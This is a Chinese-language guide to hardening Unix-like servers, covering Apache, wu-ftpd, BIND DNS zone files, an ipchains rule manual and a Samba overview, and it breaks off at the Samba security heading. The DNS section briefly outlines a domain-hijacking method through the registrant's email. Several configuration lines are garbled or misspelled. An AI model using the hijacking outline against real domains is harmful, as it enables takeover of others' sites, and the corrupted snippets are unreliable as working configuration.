类UNIX系统下的网络整体安全服务
[indent]类UNIX系统下的网络整体安全服务前言:随着类UNIX系统的广泛应用,在目前的网络系统中其核心是操作系统,因此,我们就操作系统的安全与否直接决定着信息是否安全。是开放源代码的操作系统安全还是不开放源代码的操作系统安全?这一点大家有着不同的看法。但有一点可以肯定,人们必须考虑主机的安全性问题,开放源代码有利于迅速地对缺乏安全性的代码进行及时修改,以达到安全要求。本文将主要详细介绍以现在广泛应用的类UNIX系统下的整体安全服务问题,由于类UNIX系统的开放性,使得我们可以通过修改系统源代码,结合现有的系统安全技术以及加入我们自有的如加密算法等来构建一个安全的操作系统。这里我们将以介绍Apahce Sever,ftp Sever,DNS Server ipchains及samba等等来主要分析配置和维护其中安全.以达到网络整体安全性。 一,网络整体安全服务的重要性和因素
在internet时代,安全互用性是网络整体服务获得长期的安全的关键。要小心网络服务中的潜在安全漏洞,因为这些漏洞非常容易被Hacker攻击或利用等危险。整个安全策略以及公司或单位内以有的解决方案结合就是以系统整体安全服务我们需在一起考虑清楚,Gunjan Samtani的"10大网络服务安全需求"我们应该好好看看。
10大决定性因素
决定网络服务安全需要的10大重要因素如下:
1. 网络服务器是用来进行EAI还是B2Bi?
网络服务器可以用在两个截然不同的域--企业应用整合(EAI)和B2B整合(B2Bi)。这两个域的安全要求是不一样的,EAI的安全需求是B2Bi的一个子集,因为相对于要透过企业防火墙和互联网相连接的服务器,在企业内部网络上进行EAI的网络服务器在控制、管理、建立、执行和维护上都要简单的多。
用于EAI经常会用到一个层次的认证而较少会需要加密,B2Bi的网络服务可能会包括好几个层次的认证而且总是会需要加密。而且,在B2Bi方面,网络服务请求和响应的信息可能需要用到下面几种加密形式:密码加密,数字签名,和加密套接字协议层(SSL)。但是,在企业内部网络使用的EAI项目中,应该尽可能避免使用SSL。最后,认可在B2Bi中非常有用,它可以阻止恶意用户抵赖曾某些创建并发送的信息。
2.网络服务的目的是什么?
如果网络服务器是用来在信息主导的公司里发布信息或者数据,比如今天城市的天气情况,或者某种股票的报价,那么对于安全的需求就比那些发布私有商业信息的网络服务器要低得多。
3.谁是这个网络服务的使用者?
知道谁是网络服务的使用者对于网络服务的授权和认证是非常重要的。
4.这种服务是否需要在互联网上使用?
这种网络服务是只针对特定的可靠的行业伙伴,还是任何公司都可以通过互联网使用它?这对于授权和认证非常重要,而数据保护和认可也需要这些信息。
5.底层应用需要多安全?
网络服务应该给底层应用提供怎样的接入呢?这种接入是否需要基于授权和人证?对底层应用的接入越多,就有更多认证安全需求。
6.网络服务是否是任务导向的?
如果任务是分布在不同设施之间,系统的危险性就要大得多。
7.采用何种协议?
在服务请求者和提供者之间的认证和数据传输采用何种网络协议?因为任何人都可以监听在网络上以普通XML文件传输的服务请求和响应,所以知道是否有数据安全需要很重要。如果是HTTPS,那么就不需要额外的加密/解密运算,因为HTTPS已经提供了这个功能。
8.是否需要检验发件人/收件人?
是否需要确认网络服务请求和响应信息的发送者和创建者是否一致?这些信息从审查角度来说很有必要,它确保了发送者和创建者的一致。如果是做B2Bi的网络服务,认可就非常有必要。
9.这个服务里包括了谁?
在网络服务里包括了多少不同的设施--比如,网络服务是否有设施链的功能?如果有超过一个的设施,那么就意味着更多的安全需求。
10. 是否使用组件链?
在网络服务的执行代码中是否有应用和组件链功能?如果一个应用链跨越了企业的防火墙,对于安全性的需求就会更高。
值得一提的是,在网络服务方面,诸如工业标准和对网络服务中数字签名的支持之类的安全方面的技术标准仍然很有必要。
二,使用apache作WEB Server.
Apache服务器作为Internet和类UNIX下应用最为广泛的Web服务器软件之一,其市场占有率从以下Netcraft Web Server Survey最新2002年8月调查的结果可以看出。Apache占有绝对的优势,
注:NT类的服务器产品共占据25.64%,比前一个月的32.11%来讲下降了不少。而Apach类的服务器产品占据65.14 %,比七月的59.18%上升了6个百分点。Macintosh类的服务器产品则从上个月的0.32%上升到0.33%。
1,核心配置文件的位置
/etc/httpd/conf/httpd.conf、resourceconfig、conf/srm.conf、accessconfig conf/access.conf定义了配置文件的位置,现在已经不使用了;
maxclients 100
不可以太大,也不可以太小,根据服务器配置和客户数量综合决定
port 80
修改为别的端口时,最好不要与/etc/services中的端口重复
user apache
group apache
指定运行httpd进程的用户和组的所有权,不要以root身份运行httpd进程
userdir public_html
userdir disabled root
如果只允许少数用户的web sever空间,如下作
userdir disabled
userdir enabled kim ben jack
userdir disabled
进行如下配置:
userdir public_html
#userdir disabled
#userdir enabled ben
AllowOverride FileInfo AuthConfig Limit
Options MultiViews Indexes
SymLinksIfOwnerMatch IncludesNoExec
Order allow,deny
Allow from all
Order deny,allow
Deny from all
注意:我们要修改/home/*的目录属性为711
2,全局日志文件指令
我们可以使用日志格式指令来控制日志文件的信息。好的日志格式指令对于系统的安全性非常关键,尤其是每天在百万人次高流量的服务器上。
ErrorLog logs/error_log
#
# LogLevel: Control the number of messages logged to the error_log.
# Possible values include: debug, info, notice, warn, error, crit,
# alert, emerg.
#
LogLevel warn
#产生最少的日志流量,不会错过任何危险的情况
LogFormat "%h %l %u %t "%r" %>s %b" common
#logformat的特殊值
# %a 远程用户ip,
# %A 本地httpd服务器的ip,
# %f 传送的文件名,
# %h 远程主机,
# %m 请求方式
# %l identd给出的远程名,
# %p连接httpd的端口,
# %P 请求的httpd进程,
# %t 时间,
# %T 服务请求时间
CustomLog logs/access_log combined
3,Apache服务器的目录安全验证
AuthName "会员专区"
AuthType "Basic"
AuthUserFile "/etc/httpd/conf/privatepasswd"
require valid-user
到apache/bin目录,创建验证数据库建password档
% ./htpasswd -bc /etc/httpd/conf/privatepasswd username1
% ./htpasswd -b /etc/httpd/conf/privatepasswd username2
这样就可以保护目录内的内容,进入要用合法的用户.
还有一种方式创建.htaccess文件,使用accessfilename .htaccess选项,格式为:
authtype "basic"
authname "会员区"
authuserfile "/etc/httpd/conf/studentclub"
require valie-user
4,作用域和其他作用域
order deny,allow
deny from all
#例外如下
order allow,deny
allow from all
#例如:allow from all,
# allow from 10.0.0.0/8,
# allow from 10. ,
# allow from .china.com
# 如果把private.txt改成index.html会怎么样?
order deny,allow
deny from all
注:更详细关于如何正确配置和维护Apache WEB Server 安全性见《黑客防线》第8期的《正确配置和维护Apache WEB Server 安全性》
三,使用ftp server作守护进程服务
守护进程服务,即xinetd,它是在类UNIX下提供诸如访问控制、请求记录、地址绑定、重定向和资源利用控制等服务。现在很多最新的类UNIX系统服务都用到了xinetd,象FTP, IMAP, POP, 和telnet等。它工作原理是:/etc/services中所有的服务通过他们的端口来访问服务器的时候,先由xinetd来处理,在唤起对方请求的服务之前,xinetd先检验请求者是否满足配置文件中指定的访问控制规则,当前的访问是否超多了指定的同时访问数目,还有配置文件中指定的其他规则等,检查通过,xinetd将这个请求交付到相应的服务去处理,自己就进入sleep状态,等待下一个请求的处理。
在原则上任何系统服务都可以使用xinetd,然而,我们认为,最适合应该是哪些常用的internet服务的,同时,这个服务的请求数目和频繁程度不会太高。象DNS和Apache就不适合采用这种方式,而象Ftp、telnet、 SSH等就很适合使用xinetd方式,至于pop、imap等邮件服务是否适合使用这种方式,系统默认使用xinetd。
系统默认使用xinetd的服务可以分为如下几类:
我们在作ftp Server为守护进程服务(xinetd)时注意以下几方面:
1,配置/etc/ftpaccess文件
配置/etc/ftpaccess文件以达到修改版本和纪录用户初始化传输和用户所以命令等,
loginfails 3
greeting brief
# 显示简短的消息给用户,忽略了版本信息
# 220 liwei FTP server (Version wu-2.6.1-18) ready.
# Turn on logging to /var/log/xferlog
log transfers anonymous,guest,real inbound,outbound
# 纪录所有种类的用户初始化传输
log commands anonymous,guest,real
# 纪录所有种类的用户输入的所有命令
chmod no anonymous,guest
delete no anonymous,guest
overwrite no anonymous,guest
rewrite no anonymous,guest
umask no anonymous,guest
passwd-check rfc822enforce
# 强制使用合法的email账号作为匿名ftp登陆的密码
noretrieve/etc//home/*/.htaccesscore
# 以下内容为复习
class all real,guest,anonymous *
limit all 20 Any /etc/mesg
upload/var/ftp*no
upload /var/ftp /pub/imcomingyes ftp daemon 0600 dirs
aliasinc/pub/incoming
emailadmin@localhost
restricted-uid%501-510
# 流量限制自己。。。
throughput /var/ftp * * oo - *
throughput /var/ftp /pub* * 2000 0.5 *
throughput /var/ftp /pub* readme oo - *
throughput /var/ftp /pub* * oo - *.fudan.edu.cn
cdpath/pub
# 指定优先搜寻路经,例如cd abc,会优先寻找/pub下的abc
cdpath/
# 然后再是/目录下的abc
2,禁止匿名ftp登陆
在系统中禁止匿名FTP登陆是防止被攻击前提,我们在/etc/passwd和/etc/shadow中删除ftp,在/etc/ftpusers中加入ftp或者anonymous
3,关于在客户端命令
对/etc/shutmsg和/var/ftp/shutmsg文件删除操作
ftpshut now
ftpshut 1001
ftpshut +20
ftpshut -l 30 -d 10 1700 "ftp is shutting down "
ftprestart
匿名上传目录权限位chmod 733 incoming
ftpwho
ftpcount
四,在类UNIX下建立安全的DNS sever
现在的Internet上存在的DNS服务器有绝大多数都是用bind来架设的,和其它大型软件一样,BIND(DNS服务器)也因其体积庞大和功能繁杂而存在许多问题。因此针对BIND安全漏洞的系统入侵数量也在大幅度上升,最严重的甚至可获取目标主机的所有远程控制权。由于DNS服务器主机对网络系统有着很大的影响,如何避免这些系统入侵也变得至关重要了。
1,DNS Server的安全隐患:
(1)firewall不会限制对DNS的访问
(2)DNS可以泄漏内部的网络拓朴结构
(3)DNS存在许多简单有效的远程缓冲溢出攻击
(4)所有对外的网站都需要DNS服务
(5)DNS的本身性能问题可是关系到整个应用的关键
2,DNS Sever的安全问题
1)DNS欺骗
在DNS的缓存还没有过期之前,如果在DNS的缓存中已经存在的记录,一旦有客户查询,DNS服务器将会直接返回缓存中的记录.这种情况在很多的文章有介绍了,这种利用IP欺骗的,需有一台Internet上的授权的DNS服务器,并且能控制这台服务器,至少要能修改这台服务器的DNS记录,我们的欺骗才能进行成功.
(2)拒绝服务DOS攻击
主要是利用更改IP的记录,对位于DNS Server发出查询的命令,再通过控制和修改信息使该IP的DNS Server用户就不能正常访问。
(3)域名劫持攻击
主要是利用修改查询结果,达到一个本想访问[img]http://www.chinesehack.org/file/hkart/images/url.gif[/img][url=http://www.your.com/][color=#0000ff]http://www.YOUR.com[/color][/url]的用户会被带到另外一个DNS解析的地方。这个实际上就是先取得域名注册者的信息,了解到他的注册EMAIL,然后设法弄到他的EMAIL,利用注册者的这个EMAIL获得修改DNS的确认函并确认.
3,配置一台安全的DNS Sever
(1)/etc/named.conf configuration文件
该文件作用是:定义了域数据库信息的基本参数和源点,该文件可以存放在本地或远程的服务器上。
options {
directory "/var/named";
#定义了named要读写文件的路径
};
zone "." {
type hint;
#表明在启动时被用来初始化域名服务器的文件是一个线索文件,
每一个服务器都有一个线索区。
file "named.ca";
#指定所要读取的文件名
};
zone "0.0.127.in-addr.arpa"{
type master;
#表明服务器是主域名服务器
file "named.local";
};
zone "mycompany.com" in {
type master;
file "name2ip.conf";
};
zone "10.168.192.in-addr.arpa" {
type master;
file "ip2name.conf";
};
(2)./var/named/name2ip.conf 正向解析文件
作用:用来定义域信息,实现主机名和地址之间的镜像、识别mail服务器和提供各种域信息。
实例:
@ IN SOA thj.mycompany.com. root.thj.mycompany.com.
#所有的区文件都以SOA开头,@指定当前的信息源,thj.mycompany.com
这个值可以将域名和named.conf连接起来。通常只有一个@符号。
( 2000062900 ;serial #序列号
28800 ; refresh #刷新周期,以秒为单位
14400 ; retry #循环周期
3600000; expire #中止时间
86400 ); minuum #time-to-live的时间
IN NS thj.mycompany.com.
#定义域名服务器
IN MX 10 thj.mycompany.com.
#定义邮件服务器,10表示优先级,越小越高
localhost IN A 127.0.0.1
#实现域到IP的映射
thj IN A 192.168.10.1
www CNAME thj
#CNAME前后两者为等价名
mail CNAME thj
(3) /var/named/ip2name.conf 反向解析文件
作用:实现IP地址很域名的映射
实例:
@ IN SOA thj.mycompany.com. root.thj.mycompany.com.
( 2000062900 ;serial
28800 ; refresh
14400 ; retry
3600000; expire
86400 ); minuum
IN NS thj.mycompany.com.
IN MX 10 thj.mycompany.com.
1 IN PTR thj.mycompany.com.
#定义逆向关系,即192.168.10.1 与 thj.mycompany.com 之间
的映射,也可以用作定义一个反转域。
(4) /var/named/named.local 本地主机解析文件
作用:解析回送地址localhost 即127.0.0.1,回送地址是一种特殊的约定,即允许在处理本地机地址时与处理远程机地址的方法一样,这样可以简化处理过程,不必将数据发送到物理网络上。
实例:
@ IN SOA localhost. root.localhost. (
1997022700 ; Serial
28800 ; Refresh
14400 ; Retry
3600000 ; Expire
86400 ) ; Minimum
IN NS localhost.
1 IN PTR localhost.
(5) /var/named/named.ca 线索文件
作用:初始化缓冲区的信息。该文件不需要管理员更改,而是系统自带。
实例:
. 3600000 IN NS A.ROOT-SERVERS.NET.
A.ROOT-SERVERS.NET. 3600000 A 198.41.0.4
. 3600000 NS B.ROOT-SERVERS.NET.
B.ROOT-SERVERS.NET. 3600000 A 128.9.0.107
. 3600000 NS C.ROOT-SERVERS.NET.
C.ROOT-SERVERS.NET. 3600000 A 192.33.4.12
. 3600000 NS D.ROOT-SERVERS.NET.
D.ROOT-SERVERS.NET. 3600000 A 128.8.10.90
. 3600000 NS E.ROOT-SERVERS.NET.
E.ROOT-SERVERS.NET. 3600000 A 192.203.230.10
. 3600000 NS F.ROOT-SERVERS.NET.
F.ROOT-SERVERS.NET. 3600000 A 192.5.5.241
. 3600000 NS G.ROOT-SERVERS.NET.
G.ROOT-SERVERS.NET. 3600000 A 192.112.36.4
. 3600000 NS H.ROOT-SERVERS.NET.
H.ROOT-SERVERS.NET. 3600000 A 128.63.2.53
. 3600000 NS I.ROOT-SERVERS.NET.
I.ROOT-SERVERS.NET. 3600000 A 192.36.148.17
. 3600000 NS J.ROOT-SERVERS.NET.
J.ROOT-SERVERS.NET. 3600000 A 198.41.0.10
. 3600000 NS K.ROOT-SERVERS.NET.
K.ROOT-SERVERS.NET. 3600000 A 193.0.14.129
. 3600000 NS L.ROOT-SERVERS.NET.
L.ROOT-SERVERS.NET. 3600000 A 198.32.64.12
. 3600000 NS M.ROOT-SERVERS.NET.
M.ROOT-SERVERS.NET. 3600000 A 202.12.27.33
(6)./etc/hosts 文件
作用:实现与网上其他主要计算机的映射,它通常是当作DNS的备份出现的,也就是说,当DNS系统出现问题的时候才使用Hosts表。
实例:
127.0.0.1 localhost localhost.localdomain localhost
192.168.10.1 thj.mycompany.com thj
#由于每台服务器都会有几个域名与IP的对应关系是永久的, 所以Hosts表中存放的应该是它们。
(7)./etc/resolv.conf 文件
作用:指定域名服务器的IP和搜索顺序。
实例:
domain
#定义本地域名。
search mycompany.com
#简化用户输入的主机名,即当用户输入thj时,使得DNS可以把它
成功地解析为thj.mycompany.com。它与domain是互斥的,无论谁出
现都是用来定义search列表的。
nameserver 192.168.10.1
#定义域名服务器的IP,最多三个,建议一般使用两个。
(8)./etc/hosts.conf 文件
作用:如何实现hosts表与DNS的关系和接口。
实例:
order hosts,bind
#解析域名的顺序
multi on
#允许一台计算机拥有多个IP
(9)./etc/nsswitch.conf 文件
作用:用于处理Hosts表和DNS的顺序
实例:
passwd: files nisplus nis
shadow: files nisplus nis
group: files nisplus nis
hosts: files dns
bootparams: nisplus [NOTFOUND=return] files
ethers: files
netmasks: files
networks: files
protocols: files
rpc: files
services: files
netgroup: nisplus
publickey: nisplus
automount: files nisplus
aliases: files nisplus
注:在修改完DNS的配置文件,需要执行/etc/rc.d/init.d/named restart来更改生效。还有不要用一个已存在的UID/GID(如"nobody")运行named。记住,以chroot环境中使用任何已存在的UID/GID都可能会影响到服务的安全性。必须养成在chroot环境中为每一个守护进程提供独立的UID/GID的习惯。
五,用ipchains作firewall和路由功能
ipchains用于实现过滤型防火墙的工具。在我们实现防火墙的策略一般分两种:第一种是允许所有的包,然后在禁止有危险的包通过防火墙;第二种方式则相反,首先禁止所有的包,然后再根据所需要的服务允许特定的包通过防火墙。相比较而言,第二种方式更能保证网络的安全性。但对于第二种方式,要求使用者知道Server/Client交互的基本原理和特定服务所对应的具体端口等。
1,ipchains防火墙与内核选项
CONFIG_FIREWALL
CONFIG_IP_FIREWALL ---------->激活IP包过滤
CONFIG_IP_MASQUERADE ---------->路由器MASQ
CONFIG_IP_MASQUERADE_IMCP
CONFIG_IP_ADVANCED_ROUTER ----->高级路由
ONFIG_IP_TRANSPARENT_PROXY----->将指向远程主机的局域网流量重定向到本地端口的代理服务
注意:IPCHAINS规则只适用于tcp/ip,无法阻止同一个接口上基于ipx或者appletack的攻击
2,ipchains防火墙的基本参数
Ipchains被用来安装、维护、检查Linux内核的防火墙规则。规则可以分成四类:IP input链、IP output链、IP forward链、user defined链。
ipchains参数说明:
-A :--append
在所选链的链尾加入一个或多个规则。有时一个单命令行能影响多个规则,有两种做法:第一,假如你设置一个能解析为多个IP地址(使用 DNS)的主机名,ipchains将如同你对多个地址都设置了命令一样发生作用。假如主机名“www.your1.com”解析为三个IP地址,主机名“www.your2.com”解析为两个IP地址,那么命令:
# ipchains -A input -j reject -s www.your2.com -d www.your1.com将在input链中追加6条规则。-D(-I,-R)的语法与-A完全相同。当在一个链中有多个相同的规则时,只有第一个被删除。
-D,--delete
从所选链中删除一或多条规则。我们可以用两种方法中的任何一种删除此规则。首先如果我们知道它是链中的唯一规则,我们可以使用编号删除,输入:# ipchains -D input 1 来删除进入链的编号1规则。第二条路是-A命令的镜象,但是用-D代替-A. 当你不愿意去数繁多的规则时,这是一个有用的方法。这种情况下,我们使用: # ipchains -D input -s 127.0.0.1 -p icmp -j DENY
-R,--replace
在所选链中替换一条规则,如果源和目标目标名解析到多个地址,命令将失败。
-I,--insert
以给出的规则号在所选链中插入一条或多条规则。如果规则号是1,插入的规则在链的头部。
-L,--list
列出指定链的所有规则。如果没有指定链,将列出所有链的规则。-L有三个可选项:“-n”(数值)项非常有用,它阻止 ipchains 去查找IP地址,假如你的DNS没有正确设置,或你已经过滤掉了 DNS 请求,这将造成很大延时。它还会导致端口用数字而不是名字被显示出来。“-v”选项显示规则的所有详细信息,如包和字节计数器,TOS掩码,接口,和包标记,用其它的方法这些项都会被忽略。
-F,--flush
使用“-F”命令可以清除一个链中的所有规则。
# ipchains -F forward
假如你不指定链,那么所有链都将被清空。
-Z,--zero
重置计数器。但有时你想在重置计数器前知道它们的值。你可以同时使用“-L”和“-Z”命令,读计数器的同时重置它们。不幸的是,假如你这样做,你不能只操作一个链,你不得不列表和清零所有的链。
-N,--new-chain
以给定的名字创建一条新的user defined链。不能与已有链同名。
-X,--delete-chain
删除链必须满足两个条件:它们是空的,并且不是任何规则的目标. 但你不能删除3个内置链中的任何一个。
-P,--policy
改变内置链政策。
-M,--masquerading
允许观察当前IP伪装的连接(与-L一起)。或者设置内核IP 伪装的参数(-S 一起)。
-S,--set tcp tcpfin udp
设置伪装的超时值,“-S” 后跟三个以秒表示的超时值: TCP sessions,FIN 包到后的TCP sessions,和对于UDP包的。假如你不想改变这些值,给个“0”值即可。 默认值在“/usr/include/net/ip_masp.h”文件中,目前分别是15分,2分和5分。仅允许和“-M”一起使用。
-C,-- check
有时你想知道一个确定的包进入机器后会发生什么事情,比如调试防火链时。ipchains的“-C”命令提供与核心检查真实包完全相同的程序来让你做这件事。你可以指定让哪个链来检测包,把链的名字放在“-C”参数后即可。鉴于核心总是从input,output或forward链开始,特许你从需要测试的链开始。
包的细节用与设置防火墙规则相同的语法设定。 在个别时,包的协议(“-p”),源地址(“-s”),目的地址(“-d”),和接口(“-i”)必须有。假如协议是TCP或UDP,那么必须指定一个源地址和一个目的端口,对于ICMP协议必须指定类型和代码。(除非使用了“-f”标志指定了一个片段规则,在那种情况下这些选项是不合法的)。假如协议是TCP(并且没有“-f”标志),可以使用“-y”标志设置包的SYN位。这有一个例子,测试一个TCP SYN包,它从192.168.1.1端口60000到192.168.1.2 www端口,进入eth0接口,进入“input”链。(这是一个与WWW建立连接的典型例子)
# ipchains -C input -p tcp -y -i eth0 -s 192.168.1.1 60000 -d 192.168.1.2 www
packet accepted
#
-h,--help
帮助。
-p,--protocol[!] protocol
用“-p”来指定协议。协议可以用编号(假如你知道 IP 的数字化协议值)或名字“TCP”,“UDP”,“ICMP”,“ALL”(0等价与ALL),大小写无关,“tcp”与“TCP”一样。协议名前面可以加前缀“!”,来否定它,比如:“-p ! TCP”。
-s,--source [!] address[/mask] [!][port[:port]]
有四种方法指定源头(-s)和目的(-d) IP 地址。最常用的方法是使用全称,比如“localhost”或“www.linuxhq.com”。第二种方法是指定 IP 地址,如“127.0.0.1”。第三种和第四种方法是指定 IP 地址集,比如“199.95.207.0/24”“199.95.207.0/255.255.255.0”。这两种方式都指定了从192.95.207.0到192.95.207.255的所有IP地址;“/”后的数字表示 IP 地址的哪部分(或“位”)被指定。默认是“/32”或“255.255.255.255”(与所有IP地址匹配)。完全指定所有IP地址用“/0”。对于特殊的TCP和UDP协议,还有额外的参数可以指定,即它们的端口号或端口的范围。范围用“:”表示,比如“6000:6010”,它包含从6000到6010的11个端口,如果没有下限,默认是0。如果没有上限,默认是65535。 所以指定1024以下端口来的 TCP 连接,表示为“-p TCP -s 0.0.0.0/0 :1023”。端口号也可以用名字指定,如“WWW”。端口指定也可以用“!”参数来否定它。ICMP也可以有参数,但是它没有端口(ICMP 有类型和代码),它们有不同的含义。可以在“-s”参数后放它们的 ICMP 名字来指定(使用 ipchains -h icmp 来列出这些名字)。或使用 ICMP 类型和代码的数字编号。类型跟在“-s”后。代码跟在“-d”后。ICMP名相当长:你只需输入足够长的字母能区分它们即可。
注意:目前,ICMP 名的前面不能用“!”。等价于--src。
--source-port [!] [port[:port]]
用来分开源端口范围,等价与-sport。
-d,--destination [!] address[/mask] [!] [port[:port]]
指定目标,用法与-s相同。等价于-dst。
--destination-port [!] [port[:port]]
指定目标端口范围,等价于-dport。
--icmp-type [!] typename
允许指定icmp类型(使用 -h icmp 看有效的icmp类型名)。可以方便的在指定目标的后面使用。
-j,--jump target
指向规则的目标,例如,包匹配规则后怎么办。目标可以是一个user defined 链(非本规则所在链),也可以是一个可以立即决定包命运的特定的目标。最简单的情况是不指定目标。这种类型的规则(通常叫记数规则)常用来做某种类型包的简单记数。无论规则匹配与否,核心将继续检查此链中的下一个的规则。但规则计数器将增加。
-i,--interface [!] name
用“-i”参数指定接口名字。接口是包进进出出的物理设备。用于包进入(包通过进入链 )的接口被认为是进入接口,同样地,用于包外出(包通过外出链)的接口被认为是外出接口。用于包中转的接口也被认为是外出接口。
指定一个目前不存在的接口是完全合法的。规则直到此接口工作时才起作用,这种指定是非常有用,对于PPP及其类似的连接。作为一个特例,一个结尾是“+”的接口将适合所有此类接口(无论它们是否工作)。例如:设定一个规则适合所有的PPP连接,可以用“-i ppp+”来指定接口。此参数忽略时,默认符合所有接口。接口可以使用否定符“!”来匹配不是指定接口来的包。
[!] -f,--fragment
此规则指定fragmented packets的第二个和以后的分块。因为这样的分块没有源和目标端口信息(或ICMP类型),所以它不匹配一些指定它的规则。
可以在它前面使用“!”,来指定一个不适用于第二个及其后续的片段包的规则。
-b,--bidirectional
双向模式。这个标志使 ipchains 象你输入命令两次一样工作,第二次是把“-s”和“-d”参数颠倒。
-v,--verbose
详细输出。它显示出对于你的命令,ipchains 是如何响应的。假如你使用的命令可以影响多个规则,它是很有用的。
-n,--numeric
数字化输出。IP地址和端口号将以数字格式显示。缺省显示主机名和网络名,和服务名。当DNS不起作用时,此参数及其有用。
-l,--log
对匹配包实行内核纪录,当设置此参数时,Linux内核将通过printk()对于所有匹配包打印一些信息。
-o,--output [maxsize]
拷贝匹配的包到用户空间设备。主要由开发者使用。要使用此参数,编译内核时必须设置 CONFIG_IP_FIREWALL_NETLINK Set。
-m,--mark markvalue
标志匹配的包。包被一个32位的无符号整数标志。如果你不是一个内核黑客,你不必关心这些。如果标志值以“+”或“-”开头,那么这个值将会从当前包的标志值加或减(初始值为0)。
-t,--TOS and xormask
用于改变IP头的TOS域。当包匹配规则,它的TOS域首先与第一个掩码逐位相与,结果再与第二个掩码逐位异或,掩码将会被指定为8位16进制数。TOS的最低有效位必须没有被改变。TOS域的四个位是最小延时“Minimum Delay”,最大吞吐量“Maximum Throughput”,最大可靠程度“Maximum Reliability”和最小费用“Minimum Cost”。最常用的是把 telnet 和 ftp 的控制连接设为最小延时和把FTP数据设为最大吞吐量。这样做:
ipchains -A output -p tcp -d 0.0.0.0/0 telnet -t 0x01 0x10
ipchains -A output -p tcp -d 0.0.0.0/0 ftp -t 0x01 0x10
ipchains -A output -p tcp -s 0.0.0.0/0 ftp-data -t 0x01 0x08
如果这些太难理解,使用下表:
TOS Name Value Typical Uses
Minimum Delay 0x01 0x10 ftp,telnet
Maximum Throughput 0x01 0x08 ftp-data
Maximum Reliability 0x01 0x04 snmp
Minimum Cost 0x01 0x02 nntp
-x,--exact
展开数字,包和字节计数器显示时使用后缀“K”,“M”,“G”来表示1000 1,000,000和1,000,000,000。不管数值多大,使用“-x”标志可以完全显示它们。这个参数只可以在“-L”后使用。
[!] -y,--syn
仅仅匹配设置了SYN位,清除了ACK、FIN位的的TCP包。这些包被用来请求初始化的TCP连接,阻止从接口来的这样的包将会阻止外来的TCP连接请求。但输出的TCP连接请求将不受影响。这个参数仅仅当协议类型设置为TCP时才能使用。此参数前可以使用!标志匹配所有的非请求连接的包。
--line-numbers
在使用列表规则时,在每行开头加行号,表示规则在链中的位置。
--no-warnings
去掉所有的警告信息。
以上是非常详细的Ipchains参数完全手册,看完后我们来动手自已操作一下:
# ipchains -A input -s 0/0 -d 192.168.0.1 -j ACCEPT
# ipchains -R input 1 -s 192.168.0.2 -d 192.168.0.1 -j DENY
# ipchains -I input 1 -s 0/0 -d 0/0 -j REJECT
如果是远程登陆,会出现。。。断线的情况
# ipchains -nL
# ipchains -N mychain
# ipchains -F input
# ipchains -F
# ipchains -X
# ipchains -P input DENY
# ipchains -C input -i eth0 -s 192.168.1.2 www -d 192.168.1.1 www -p tcp
# ipchains -D input 1
(3)ipchains防火墙基本选项和它的七个对象
-p [!]protocol
-s [!]addr [[!]port]
-d [!]addr [[!]port]
-i [!]interface
-j target
-l当匹配时,该规则纪录有关包的信息
[!]-y 该规则应该仅匹配正在初始化连接的tcp包。
IPCHAINS的七个对象是:ACCEPT,DENY,REJECT,MASQ,RETURN(相当于链的子程序调用的回归),user chain
4,在设置ipchains防火墙时应注意的问题
我们先来看关于domain的设置注意tcp和udp
# ipchains -A input -p tcp -s $DNS domain -j ACCEPT
# ipchains -A input -p udp -s $DNS domain -j ACCEPT
设置ip masquerade时不要忘记打开ip转发:可以在/etc/rc.d/rc.local脚本中写入 #echo 1 > /proc/sys/net/ipv4/ip_forward,否则重起后,ip_forward又变成0
# ipchains -A input -i eth1 -s $INT -j ACCEPT
# ipchains -A forward -s $INT -j MASQ
# ipchains -A forward -j DENY -l 禁止并纪录其他转发企图
注意:$INT的范围:92.168.1.0/24 (192.168.1.1-192.168.1.254);主机为192.168.1.1、192.168.0.0/16(192.168.1.1-192.168.255.254)
看允许内部网络访问外部ftp服务例子:
# ipchains -A input -p tcp -s 0/0 ftp-data -j ACCEPT
# ipchains -A input -p tcp -s 0/0 ftp -j ACCEPT
5,port forwarding端口转发,
允许到达外部接口的网络接口的数据包转发到内部网相同端口的 一种方法,允许在防火墙后面提供网络服务。可以通过ipchains和ipmasqadm(ip伪装工具管理)来实现。
语法为:ipmasqadm portfw -a -P tcp -L $myip port -R server_ip port
具体为:# ipmasqadm portfw -a -P tcp -L $myip 80 -R 192.168.1.2 80
六,应用Microsoft网络通讯协议samba的安全问题
1,samba的详细介绍
Samba是一套让UNIX系统能够应用Microsoft网络通讯协议的软件。它使执行UNIX系统的机器 能与执行Windows系统的电脑分享驱动器与打印机。Samba属于GNU Public License(简称GPL)的软件;因此,你可以合法且免费地使用它。什么是SMB?SMB即Server Message Block通 信协议是微软(Microsoft)和英特尔(Intel)在1987年制定的协议,主要是作为Microsoft 网络的通讯协议,而Samba则是将SMB协议搬到UNIX上来应用;Samba的核心是 SMB(Server Message Block)协议。SMB协议是客户机/服务器型协议,客户机通过该协议可以 访问服务器上的共享文件系统、打印机及其他资源。通过“NetBIOS over TCP/IP”使得Samba 不但能与局域网络主机分享资源,更能与全世界的电脑分享资源;因为互联网上千千万万的主 机所使用的通讯协议就是TCP/IP。SMB是在会话层(ession layer)和表示层(presentation layer) 以及小部分应用层(applicationlayer)的协议。SMB使用了NetBIOS的应用程序接口(Application Program Interface,简称API)。另外,它是一个开放性的协议,允许了协议扩展,使得它变得更大而且复杂;大约有65个最上层的作业,而每个作业都超过120个函数,甚至Windows NT也没有全部支持到,最近微软又把 SMB 改名为CIFS(Common Internet File System),并且加入了许多新的特色,而Samba亦支持了NT Lan Manager 0.12等SMB的延伸协议,这是得Samba具有管理NT网域的能力。Samba的主要功能如下:
(1)提供Windows NT风格的文件和打印机共享 Windows 95、Windows 98、Windows NT等以据此共享UNIX等其他操作系统的资源,外表看起来和共享NT的资源没有区别。
(2)解析NetBIOS名字IP 在Windows网络中,为了能够利用网上资源,同时自己的资源也能被别人所利用; 各个主机都定期地向网上广播自己的身份信息。而负责收集这些信息,为别的主机;提供检索情报的服务器就被称为浏览服务器.Samba可以有效地完成这项功能在跨越网关的时候Samba还可以作WINS服务器使用。
(3)提供SMB客户功能 利用Samba提供的smbclint程序可以从UNIX下以类似于 FTP的方式访问Windows的资源。
(4)备份PC上的资源 利用一个叫smbtar的shell 脚本,可以使用 tar 格式备份和恢复一台远程Windows上的共享文件。
(5)提供一个命令行工具,在其上可以有限制地支持NT的某些管理功能。
2,samba在配置过程注意的安全事项
